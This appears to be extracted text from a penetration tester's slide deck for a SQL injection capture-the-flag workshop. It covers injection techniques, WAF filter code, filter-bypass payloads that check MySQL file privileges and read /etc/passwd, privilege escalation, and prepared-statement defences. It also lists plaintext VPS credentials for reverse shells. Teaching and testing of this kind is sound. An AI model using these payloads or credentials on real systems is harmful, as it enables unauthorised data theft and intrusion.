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RULES • No DDoSing to the servers • You can use whatever tools you want • Goal is to exploit the web app and root the box, then capture the flag inside the /root/ folder • Credentials for a temporary VPS to get a reverse shell • user@188.166.69.170:ilovelinux123

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START HACKING! 873067175 user@188.166.69.170:ilovelinux123

ABOUT ME Not any geek or any nerd ;-) https://osandamalith.com Passionate in Penetration Testing and Reverse Engineering IT Security Consultant at ZeroDayLab, London. Currently holds: OSCE, OSCP, OSWP, CREST CRTPEN, eCRE, eWPTX, eCPPTX, eCPPT Author of few vulnerabilities and 0days. https://www.exploit- db.com/?author=6712 I love to make things, break things and make things that break things ;) DJ at Ministry of Sound, London, UK

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ALL MY EXPLOITS INSIDE KALI • grep -rnw '/usr/share/exploitdb/exploits/' -e 'Osanda’

• https://thehackernews.com/2018/09/4g-ee-wifi- modem-hack.html • https://www.theregister.co.uk/2018/09/19/ee_ modem_vuln/

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BUG BOUNTY VS PENTESTING

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PENETRATION PROCESS • Information Gathering • Scanning • Enumeration • VA & Exploitation • Post Exploitation

SQL INJECTION

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SQL Injection Intention Extracting data, Bypassing Auth, Priv Esc, etc Source of Vulnerability User input, HTTP headers, second order injection, Files, etc Exploitation Technique Inband, Out-of-Band, Inference

SQLi Exploitation Techniques Inband Union-Based Error-Based Out-of-Band HTTP, DNS, Email Inference Boolean Based Time Based

MY ERROR BASED RESEARCHES • Error Based SQL Injection Using EXP • https://osandamalith.com/2015/07/15/error-based-sql-injection-using-exp/ • https://www.exploit-db.com/papers/37953 • BIGINT Overflow Error Based SQL Injection • https://osandamalith.com/2015/07/08/bigint-overflow-error-based-sql-injection/ • https://www.exploit-db.com/papers/37733

MYSQL OUT OF BAND HACKING • https://osandamalith.com/2017/02/03/m ysql-out-of-band-hacking/ • https://www.exploit- db.com/papers/41273 • https://packetstormsecurity.com/files/14 0832/MySQL-OOB-Hacking.html

VULNERABLE QUERY • $query = "SELECT id,name,join_date,title FROM members WHERE name = '" . $member_name . “’;”; • SELECT id,name,join_date,title FROM members WHERE name = ‘Ergo’; • SELECT id,name,join_date,title FROM members WHERE name = ‘Ergo’ UNION SELECT 1,2,3,4; • SELECT id,name,join_date,title FROM members WHERE name = ‘Ergo’ UNION SELECT @@version,2,3,4;

WEB APPLICATION FIREWALLS

WAFS! if (isset($_REQUEST['member_name']) && $_REQUEST['member_name'] !== '') { $member_name = $_REQUEST['member_name']; $member_name = preg_replace("/union|select/i", "", $member_name); $member_name = preg_replace("/into|outfile|dumpfile|[#]|[--]/i", "nope", $member_name); $member_name = preg_replace("(or|and|OR|AND)", "nope", $member_name); $connection = @mysqli_connect(MYSQLHOST, MYSQLUSER, MYSQLPASS, MYSQLDB);

WAFS! if (preg_match('/UNION|SELECT|union|select|\s/', $workaround)) { echo "";

WHEN /OR/i IS FILTERED. • https://osandamalith.com/2017/02 /03/alternative-for- information_schema-tables-in- mysql/ • https://www.exploit- db.com/papers/41274 • https://packetstormsecurity.com/fi les/140831/Alternative-For- Information_Schema.Tables-In- MySQL.html

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MYSQL PRIVILEGES • File_priv • Enables reading and writing files on the server host using the LOAD DATA and SELECT ... INTO OUTFILE statements and the LOAD_FILE() function. A user who has the FILE privilege can read any file on the server host that is either world- readable or readable by the MySQL server. (This implies the user can read any file in any database directory, because the server can access any of those files.) • Enables creating new files in any directory where the MySQL server has write access. This includes the server's data directory containing the files that implement the privilege tables. •

CHECKING PRIVELEGES

• select File_priv from mysql.user where user = substring_index(user(), '@', 1) ; • null'unUNIONiOn/**/selSELECTeCt/**/1,File_Priv,3,4/**/from/**/mysql.user/**/ where/**/user=substring_index(user(),'@',1)&&1=‘1

PASSWD FILE • null'uNunionIoN/**/SeLselectEcT/**/1,load_file('/etc/passwd' ),3,4||1='1

SOURCE CODE REVIEW

SOURCE CODE REVIEW! • /var/www/html/auth.php

INVESTIGATING THE COOKIE FUNCTIONS • /var/www/html/includes/security.php

EVAL IS DANGEROUS https://osandamalith.com/2017/05/11/cmsms-2-1-6-multiple-vulnerabilities/

CREATING A COOKIE

OUR EXPLOIT!

PWNED!

ROOT THE BOX! PRIVILEGE ESCALATION • System and network information • User information • Privileged Access / Cleartext credentials • Services • Jobs/Tasks • Installed software version information

CAPTURE THE FLAG [CTF]

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SQLI PREVENTION • Use prepared statements and parameterized queries • Using PHP Data Objects (PDO) $stmt = $pdo->prepare('SELECT * FROM employees WHERE name = :name'); $stmt->execute(array('name' => $name)); foreach ($stmt as $row) { // Do something with $row } • Supports any database driver and the universal option.

SQLI PREVENTION • Using MySQLi Extension (MySQL Improved) $stmt = $dbConnection->prepare('SELECT * FROM employees WHERE name = ?'); $stmt->bind_param('s', $name); // 's' specifies the variable type => 'string' $stmt->execute(); $result = $stmt->get_result(); while ($row = $result->fetch_assoc()) { // Do something with $row }

ALL MY RESEARCHES ON SQL INJECTION • https://osandamalith.com/tag/mysql/

ANY QUESTIONS?